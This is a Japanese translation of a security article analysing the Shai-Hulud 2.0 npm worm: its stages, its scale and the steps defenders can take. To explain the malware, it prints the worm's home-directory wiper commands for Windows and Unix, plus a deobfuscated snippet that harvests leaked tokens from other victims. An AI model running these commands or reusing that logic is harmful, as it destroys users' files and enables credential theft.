Shai-Hulud 2.0: 開発者エコシステムを脅かす壊滅的な npm サプライチェーン攻撃

自己増殖型ワームが前例のない攻撃性で JavaScript エコシステムを荒らし回り、800 以上のパッケージと 25,000 を超えるリポジトリを侵害している


概要

npm エコシステムは、これまで目撃された中でも最も攻撃的かつ高度なサプライチェーン攻撃の 1 つに包囲されています。攻撃者によって「Shai-Hulud 2.0」または「The Second Coming(再臨)」と名付けられたこのキャンペーンは、2025 年 11 月 21〜24 日のわずか 72 時間の間に、数百の npm パッケージと 25,000 を超える GitHub リポジトリを侵害しました。

この攻撃を特に危険なものにしているのは、自己増殖ワームとしての能力、大規模な認証情報窃取、そして何よりも開発環境全体を消し去ることができる破壊的な「デッドマンズスイッチ(自爆スイッチ)」を組み合わせている点です。

これは、壊滅的なサプライチェーン攻撃が相次いだ 1 年の中での最新の進化形であり、週 20 億ダウンロード超の 18 の中核パッケージが兵器化された 2025 年 9 月の Great NPM Heist に続くものです。


完全な嵐:タイミングと規模

この攻撃は 2025 年 11 月 21〜24 日に開始され、そのタイミングは npm が 12 月 9 日にクラシックトークンを失効させると発表した時期と重なっています。これは、npm のセキュリティ期限前の攻撃者による最後の大規模な一撃と見られ、多くの開発者がまだより安全な認証方式へ移行していない隙を突いています。

その影響は甚大です:

  • 796 個のユニークな npm パッケージ がバックドア化され、合計で週 2,000 万ダウンロード超
  • 25,000+ の GitHub リポジトリ が約 350 のユニークユーザーにまたがって侵害
  • 500+ の GitHub ユーザー からデータが実際に流出
  • 150+ の組織 が認証情報の露出によって影響を受ける
  • 侵害されたすべてのパッケージ合計で 月間 1 億 3,200 万ダウンロード

影響を受けた主要組織

被害範囲は、業界リーダーが提供する重要なインフラ系パッケージにまで及びます:

  • Zapier – 連携機能を構築するための必須ツールキットパッケージ
  • ENS Domains – .eth 名や Ethereum アドレスを扱うための広く利用されているライブラリ
  • PostHog – 人気の分析プラットフォームのパッケージ(環境の 25% で検出)
  • Postman – 何百万人もが利用する API 開発ツール(@postman/tunnel-agent は環境の 27% で検出)
  • AsyncAPI – 重要な非同期 API 仕様コンポーネント(環境の 20%)
  • Browserbase – ブラウザ自動化インフラ

この攻撃は、2025 年を通じて追跡してきた不穏なパターンを継続するものであり、サプライチェーンの脆弱性がテクノロジーセクター全体で主要な攻撃ベクターとなっていることを示しています。


攻撃の仕組み:多段階の攻撃

ステージ 1:初期侵害

攻撃は、npm を装って開発者に多要素認証のログインオプションを「更新」するよう促す、認証情報窃取型のフィッシングキャンペーンから始まった可能性があります。攻撃者が開発者アカウントへの初期アクセスを得ると、悪意あるペイロードを展開しました。これは、以前の npm サプライチェーン攻撃で見られた手法と類似しています。

ステージ 2:preinstall 実行 – ゲームチェンジャー

インストール後に実行される従来型マルウェアとは異なり、このキャンペーンは npm の preinstall ライフサイクルスクリプト を悪用し、インストール完了前やインストールが失敗した場合でさえ悪意あるペイロードを実行できるようにしています。これにより、開発者マシンや CI/CD パイプライン全体で攻撃対象領域が劇的に拡大します。

マルウェアは 2 つの悪意あるファイルを注入します:

  • setup_bun.js – Bun インストーラを装ったドロッパー(10MB)
  • bun_environment.js – 難読化されたペイロード

初回検知: 2025 年 11 月 24 日 午前 3:16:26(GMT+0)、パッケージ go-template および 36 個の AsyncAPI パッケージで確認。

ステージ 3:ランタイム回避 – 「独自ランタイム持ち込み」

マルウェアは Bun JavaScript ランタイム をインストールし、標準的な Node.js 監視を回避して難読化されたペイロードを実行していると見られます。この「独自ランタイム持ち込み(Bring Your Own Runtime)」手法により、悪意あるコードは Node.js プロセスを監視する標準的なセキュリティツールの可視性の外側で動作できます。

この回避手法は、単純な難読化を超え、実行環境そのものを根本的に変えるという、攻撃者の戦術の進化を示しています。

ステージ 4:包括的な認証情報窃取

マルウェアは複数の攻撃面にわたり、広範なシークレット列挙を行います:

ローカルファイルシステムの標的:

  • GitHub トークン(ghp_, gho_ パターン)および npm 認証情報
  • SSH キーおよび環境変数
  • 一般的なプラットフォームの CI/CD パイプラインシークレット
  • 設定ファイル(.npmrc, .aws/credentials など)

クラウドプロバイダのシークレット:

  • 17 リージョンにわたる AWS アクセスキーとシークレット
  • Google Cloud Platform の認証情報
  • Azure の認証情報およびサービスプリンシパル
  • クラウドシークレットマネージャの内容

開発ツール:

  • コンテナレジストリへのアクセス用 Docker Hub 認証情報
  • Python パッケージ公開用の PyPI トークン
  • データベースへの直接アクセス用認証情報
  • CDN と DNS 制御用の Cloudflare API トークン

マルウェアは正当なセキュリティツールである TruffleHog を利用し、ホームディレクトリ全体を再帰的にスキャンして、設定ファイル、ソースコード、git 履歴に隠された API キーやパスワードなどのシークレットを探します。これは、AI ツールを兵器化した s1ngularity 攻撃で記録した手法と並行しています。

ステージ 5:GitHub 経由の流出 – 「見えているのに気づかれない」

検知・遮断が容易な従来型の C2(コマンド&コントロール)サーバーを使う代わりに、マルウェアは説明文に特定のマーカー 「Sha1-Hulud: The Second Coming」 を含む 公開リポジトリ を作成します。

これらのリポジトリは盗まれた認証情報やシステム情報の投入口として機能し、構造化された JSON ファイルを含みます:

  • cloud.json – クラウドプロバイダの認証情報
  • environment.json – 環境変数およびシークレット
  • actionsSecrets.json – GitHub Actions のシークレット

重要な点: 流出は被害者間でクロスして行われるため、あなたのデータが無関係な GitHub ユーザーのアカウント上のリポジトリとして公開されている可能性があります。逆に、潜在的な被害者として、あなたの認証情報が無関係な GitHub ユーザーのアカウント経由で流出している可能性もあります。

ピーク時には、研究者は 30 分ごとに約 1,000 の新たな侵害リポジトリ が出現するのを追跡しました。

GitHub はトークンの失効や悪意あるリポジトリの非公開化などの緩和策を開始しましたが、2025 年 11 月 26 日時点でも、Wiz Threat Research は数百の組織に影響を与える有効なシークレットが依然として大量に存在することを確認しています。

ステージ 6:トークンリサイクル – 分散レジリエンス

高度な工夫として、マルウェアが感染システム上で有効な認証情報を見つけられない場合、「Sha1-Hulud: The Second Coming」という説明を持つリポジトリを GitHub 上で検索し、他の被害者から流出した認証情報を探します。

その後、過去の被害者から盗んだこれらのトークンを利用しようと試み、集中型 C2 を必要としない分散かつレジリエントな攻撃インフラを構築します。

コードスニペット(難読化解除後):

// 他の被害者の流出リポジトリを GitHub で検索
const results = await octokit.search.repos({
  q: 'Sha1-Hulud: The Second Coming in:description'
});
// 盗まれた認証情報をダウンロードしてデコード
for (const repo of results.data.items) {
  const contents = await downloadRepoContents(repo);
  const tokens = extractTokens(contents);
  // これらのトークンを試しに使用
}

ステージ 7:自己複製 – ワームメカニズム

マルウェアはローカルファイルシステム上の被害者の npm 認証情報を利用し、npm 上で公開されている自身のパッケージ最大 100 個までを 自動的にバックドア化することで自己伝播 します。これにより、エコシステム全体に指数関数的な拡散が生じます。

パッケージが感染すると:

  1. 悪意あるファイル(setup_bun.js, bun_environment.js)が追加される
  2. package.json が変更され、preinstall スクリプトが追加される
  3. 新しい悪意あるバージョンが npm に公開される
  4. 下流のユーザーが自動的に感染バージョンを取得する

このワーム的な挙動により、攻撃は追加の攻撃者操作なしで拡散し続け、人的スピードではなくコンテナのスピードで進行する複合的な脅威となります。

ステージ 8:永続的なバックドアアクセス

マルウェアは感染システムを セルフホスト型 GitHub Actions ランナー として登録し、攻撃者が任意のワークフローをリモート実行できるようにします。これにより、パッケージを削除したりシステムを再起動した後も存続する長期的なバックドアアクセスが提供されます。

ランナーは ~/.dev-env/ にインストールされ、標準的な GitHub Actions コンポーネントのように見えるため、インシデントレスポンス時の検出が困難です。攻撃者は、侵害されたリポジトリに GitHub Discussion を作成することでリモートコード実行をトリガーでき、すべての通信は HTTPS 上の正規の GitHub インフラを利用します。


デッドマンズスイッチ:焦土戦術

Shai-Hulud 2.0 における最も不穏な進化は、その 破壊的なフォールバック機構 です。マルウェアが GitHub 認証を確立できず、npm トークンも見つからない場合、ユーザーのホームディレクトリ全体を安全消去します。

トリガー条件

データ破壊は、以下 4 つの条件がすべて満たされた場合にのみ発生します:

  1. GitHub に認証できない
  2. GitHub 上にリポジトリを作成できない
  3. (他の被害者からのものを含め)いかなる GitHub トークンも取得できない
  4. ローカルに npm トークンが見つからない

破壊プロセス

Windows の場合:

del /F /Q /S "%USERPROFILE%*" && cipher /W:%USERPROFILE%

Unix/Linux の場合:

find "$HOME" -type f -writable | xargs shred -uvz -n 1

マルウェアは単にファイルを削除するだけでなく、安全な削除手法(shred -uvz, cipher /W)を用いて、削除前にファイル内容を複数回上書きし、フォレンジックによる復元を不可能にします。

破壊されるもの

  • コミットされていないソースコード
  • 設定ファイルおよび SSH キー
  • ブラウザデータおよび保存されたパスワード
  • Git リポジトリおよび履歴
  • ユーザーのホームディレクトリ内のすべてのファイル

これは、単なるデータ窃取から 懲罰的な破壊工作 への重大なエスカレーションであり、戦術を認証情報窃取から「人質状況」の創出へと転換させています。

協調的テイクダウンのジレンマ

GitLab の研究者は重大なジレンマを発見しました:GitHub がマルウェアのリポジトリを一斉削除したり、npm が侵害されたトークンを一括失効させた場合、何千もの感染システムが同時にユーザーデータを破壊する可能性があります。この攻撃の分散性により、各感染マシンはアクセス状況を独立して監視し、テイクダウンを検知すると削除をトリガーします。

これにより、セキュリティチームはエコシステム全体での大規模なデータ破壊を誘発しないよう、慎重に対応を調整しなければならない「メキシカン・スタンドオフ」の状況が生まれています。


数字が物語る厳しい現実

公開情報およびベンダー分析に基づくと:

感染統計

  • 796 個のユニークな npm パッケージ が Shai-Hulud 2.0 ワームを含有
  • 1,092 個のユニークなパッケージバージョン が影響を受ける
  • 27,600+ の GitHub リポジトリ にシークレットが流出(ピーク時)
  • 約 300 リポジトリ が GitHub の緩和後も可視のまま(11 月 26 日時点)

認証情報の露出

  • 500+ のユニークな GitHub ユーザー からデータが実際に流出
  • 150+ のユニークな GitHub 組織 が影響を受ける
  • 2,349 個の個別シークレット が GitGuardian により特定
  • 攻撃から数日後も GitHub トークンの 90% が有効なままだった

環境内での普及度

一部の侵害パッケージは非常に大きなフットプリントを持っています:

  • @postman/tunnel-agentクラウド/コード環境の 27% で検出
  • posthog-node25% の環境 で検出
  • @asyncapi/specs20% の環境 で検出
  • posthog-js15% の環境 で検出
  • get-them-args, shell-exec, kill-port13〜14% の環境 で検出

タイミング分析

  • 2025 年 11 月 24 日 3:16 AM UTC – 最初のパッケージ(go-template, AsyncAPI)が侵害
  • 2025 年 11 月 24 日 4:11 AM UTC – PostHog パッケージが侵害
  • 2025 年 11 月 24 日 5:09 AM UTC – Postman パッケージが侵害
  • ピーク:30 分あたり 1,000 リポジトリ – 最大伝播速度

この攻撃は、これまで追跡してきたサプライチェーンインシデントをはるかに凌駕しており、エコシステムへの影響という観点で 史上最も壊滅的な 15 件のデータ侵害 の 1 つに数えられます。


Shai-Hulud 1.0 からの進化

オリジナルの Shai-Hulud 攻撃は 2025 年 9 月 に出現し、187 パッケージを侵害し約 5,000 万ドル相当の暗号資産を盗みました。「Second Coming(再臨)」は戦術面で大きな進化を遂げています:

主な違い

項目 Shai-Hulud 1.0(2025 年 9 月) Shai-Hulud 2.0(2025 年 11 月)
実行フェーズ postinstall preinstall(影響範囲拡大)
ペイロードファイル 名称は別 setup_bun.js, bun_environment.js
ランタイム Node.js Bun(回避手法)
規模 187 パッケージ 796+ パッケージ
リポジトリ数 数百 25,000+
トークンリサイクル 限定的 高度な被害者間再利用
永続性 基本的 GitHub Actions ランナー
破壊能力 なし デッドマンズスイッチ
クラウド標的 基本的 17 の AWS リージョン、マルチクラウド

AI との関係

Unit 42 の研究者は、コメントや絵文字の含有に基づき、悪意ある bash スクリプトの生成に LLM が使用されたと中程度の確信を持って評価 しています。これは、サイバー作戦を自律的に誘導するために大規模言語モデルを利用する APT28 の LameHug AI マルウェア で記録した事例と類似しています。

これは、WormGPT や Nytheon AI のようなツールによって、高度なコーディングスキルを持たないサイバー犯罪者でも洗練されたマルウェアを生成できるようになり、AI がマルウェア開発に兵器化されているというより広範なトレンドを示しています。


より広範なサプライチェーン攻撃パターンとの関連

Shai-Hulud 2.0 は、2025 年を通じて続いているサプライチェーン侵害の不穏なパターンに当てはまります:

2025 年 npm サプライチェーン年表

2025 年 8 月 27 日S1ngularity キャンペーン が Nx パッケージを標的とし、AI CLI ツール(Claude, Gemini, Amazon Q)を偵察に兵器化した初の既知事例をもたらす。

2025 年 9 月 8 日Great NPM Heist が chalk、debug、strip-ansi など週 20 億ダウンロード超の 18 の中核パッケージを侵害。

2025 年 9 月 16 日 – Shai-Hulud 1.0 がローンチし、187 パッケージを侵害した初の自己増殖 npm ワームとなる。

2025 年 9 月 18 日 – セキュリティコミュニティが Shai-Hulud の戦術とペイロード挙動の詳細分析を公開。

2025 年 11 月 21〜24 日Shai-Hulud 2.0「The Second Coming」 が npm の 12 月 9 日トークン期限直前に壊滅的な新機能を備えてローンチ。

2025 年サプライチェーン侵害に共通する攻撃パターン

  1. 認証情報フィッシング – 攻撃者が npm サポートを装い、MFA 更新を要求
  2. 信頼されたアカウントの侵害 – 著名なメンテナアカウント(例:Qix-)が標的に
  3. ライフサイクルスクリプトの悪用 – postinstall / preinstall フックの悪用
  4. 正当なツールの兵器化 – TruffleHog、AI ツール、開発ユーティリティの悪用
  5. GitHub をインフラとして利用 – C2 サーバーではなく公開リポジトリ経由での流出
  6. クロスプラットフォーム標的化 – npm から PyPI、RubyGems 他エコシステムへ拡大

このパターンは、Drift(Palo Alto Networks、Zscaler、Google、Cloudflare に影響)などを襲った 高度なサプライチェーン攻撃 や、800 社超のエンタープライズ顧客を露出させた Red Hat GitLab 侵害 とも類似しています。


npm トークン期限:時間との戦い

npm のセキュリティタイムラインは極めて重要になっています:

現状(2025 年 11 月 26 日時点)

  • クラシックトークンの新規作成: すでに無効化(2025 年 11 月 5 日時点)
  • 既存のクラシックトークン: まだ有効だが 2025 年 12 月 9 日に失効予定
  • グラニュラートークン: 最大 90 日の有効期限が強制
  • 新規書き込みトークン: デフォルトで 2FA 必須(CI/CD 用には任意のバイパス設定あり)

2025 年 12 月 9 日の変更

12 月 9 日に npm は以下を実施します:

  1. すべてのクラシックトークンを恒久的に失効 – 残っている npm クラシックトークンはすべて無効化
  2. 長寿命トークンの置き換え – ローカル公開には定期的な再認証が必要な 2 時間のセッショントークンを使用
  3. CLI トークン管理の導入 – ターミナルからグラニュラートークンを作成/管理する完全サポート

なぜ今攻撃したのか

Shai-Hulud 2.0 のタイミングは計算されています。多くの開発者が依然としてクラシックトークンを使用し、以下への移行が済んでいない状況を狙いました:

  • GitHub Actions や GitLab CI/CD 経由の信頼された公開(OIDC)
  • 適切なスコープを持つ短命のグラニュラートークン
  • フィッシング耐性のある認証方式

攻撃者は、12 月 9 日の期限によって主要な攻撃ベクターが消滅する前の最後の大規模攻撃 の機会を捉えたのです。


もしあなたがソフトウェアプロジェクトや CI/CD 環境で JavaScript、Node.js、npm を使用しているなら、セキュリティチームは直ちに以下の対応を取ることを推奨しています:

1. 依存関係の監査(最優先)

侵害されたパッケージの確認:

  • コミュニティが維持する IOC リスト(Datadog, GitGuardian, Wiz, Socket, Aikido)と照合
  • 悪意あるファイル setup_bun.jsbun_environment.js を検索
  • package.json 内の予期しない preinstall スクリプトを確認
  • 許可していない Bun ランタイムのインストールをチェック

ロールバック戦略:

# 既知のクリーンなバージョンに依存関係を固定
# または 2025-11-21 以前のビルドにロールバック
npm ci --package-lock-only --before=2025-11-21

2. 包括的な認証情報ローテーション(必須)

直ちにローテーションが必要なもの:

npm トークン – 適切なスコープを持つ新しいグラニュラーアクセストークンを生成
GitHub 個人アクセストークン(PAT) – 既存のものをすべて失効させ、細分化された新トークンを作成
SSH キー – Git 操作用に新しい鍵ペアを生成
AWS 認証情報 – アクセスキーとシークレットキーをローテーション
Google Cloud 認証情報 – サービスアカウントキーを再生成
Azure 認証情報 – サービスプリンシパルやマネージド ID をローテーション
CI/CD シークレット – すべてのパイプラインシークレットと自動化トークンを更新
データベース認証情報 – すべての接続文字列とパスワードをローテーション
Docker Hub トークン – 新しいアクセストークンを生成
クラウドプロバイダトークン – AWS, GCP, Azure のシークレットマネージャを確認

可能な限り短命かつスコープ限定のトークンを使用:

  • グラニュラー npm トークンのデフォルト有効期限を 7 日に設定
  • 書き込みトークンの最大有効期限を 90 日に制限
  • 長寿命シークレットを排除するため OIDC/信頼された公開を検討

3. 侵害インジケータの検索

GitHub リポジトリの調査:

# 組織内で悪意あるリポジトリを検索
# 説明文に "Shai-Hulud" または "Sha1-Hulud" がないか確認
# 特に: "Sha1-Hulud: The Second Coming"
# さらに: "Sha1-Hulud: The Continued Coming"(フェーズ 2)も確認

不正なアクティビティの確認:

  • 組織名義で最近公開された npm パッケージを確認
  • .github/workflows/ 内の不正なワークフローを確認
  • “hulud” や “shai” を含む不審なコミットを検索
  • ~/.dev-env/ 内の予期しないセルフホスト GitHub Actions ランナーを確認

二次的な悪用の監視:

  • CloudTrail/Cloud Logging で、あなたの認証情報を用いた不審な API コールを確認
  • AWS IAM Access Analyzer で権限昇格の兆候を確認
  • クラウド環境での不正なリソース作成をスキャン
  • SIEM でラテラルムーブメントの兆候を確認

4. 防御的セキュリティコントロールの実装

開発環境のハードニング:

# CI/CD でライフサイクルスクリプトを制限
npm config set ignore-scripts true  # すべてのライフサイクルスクリプトを無効化
# 代替:--ignore-scripts フラグを使用
npm install --ignore-scripts
# ビルドシステムからの外向きネットワークアクセスを制限
# ホワイトリスト: registry.npmjs.org, github.com, cdn.jsdelivr.net

アクセス制御:

  • ✅ 開発者アカウントにフィッシング耐性 MFA(WebAuthn/パスキー)を強制
  • ✅ CI/CD サービスアカウントにもフィッシング耐性 MFA を適用
  • ✅ デバイスコンプライアンスに基づく条件付きアクセスを実装
  • ✅ 短命かつスコープ限定の自動化トークンを使用
  • ✅ シークレットをスケジュールに基づき自動ローテーション

ネットワークセグメンテーション:

  • ビルドシステムからの外向き接続を信頼済みドメインのみに制限
  • 未知の GitHub リポジトリへの流出をブロックするためのエグレスフィルタリングを実装
  • 異常な GitHub API アクティビティパターンを監視
  • ビルド環境から新規作成 GitHub リポジトリへのアクセスをブロック

パッケージ管理:

  • npm パッケージのバージョン固定と最小経過日数ポリシー(例:pnpm の –min-age フラグ)を検討
  • マルウェアスキャン機能付きのプライベート npm レジストリやプロキシを利用
  • CI/CD パイプラインにソフトウェア構成分析(SCA)を導入
  • Dependabot や Renovate を有効化し、レビュー付きで依存関係を自動更新

5. 監視と検知の強化

リアルタイム監視:

  • Bun インストールを検知できるランタイムセキュリティツールを導入
  • 予期しない GitHub API への外向き通信を監視
  • 不審な説明文を持つ新規リポジトリ作成をアラート
  • CI/CD システムからの npm パッケージ公開をトラッキング

フォレンジック調査:

# Bun ランタイムの確認
which bun
ls ~/.bun/
# 悪意あるファイルの検索
find ~ -name "setup_bun.js" -o -name "bun_environment.js"
# セルフホストランナーの確認
ls -la ~/.dev-env/
# bash/zsh 履歴で不審なアクティビティを検索
grep -i "hulud\|shai\|shutdown" ~/.bash_history ~/.zsh_history

翻訳元: https://breached.company/shai-hulud-2-0-the-devastating-npm-supply-chain-attack-threatening-developer-ecosystems/

ソース: breached.company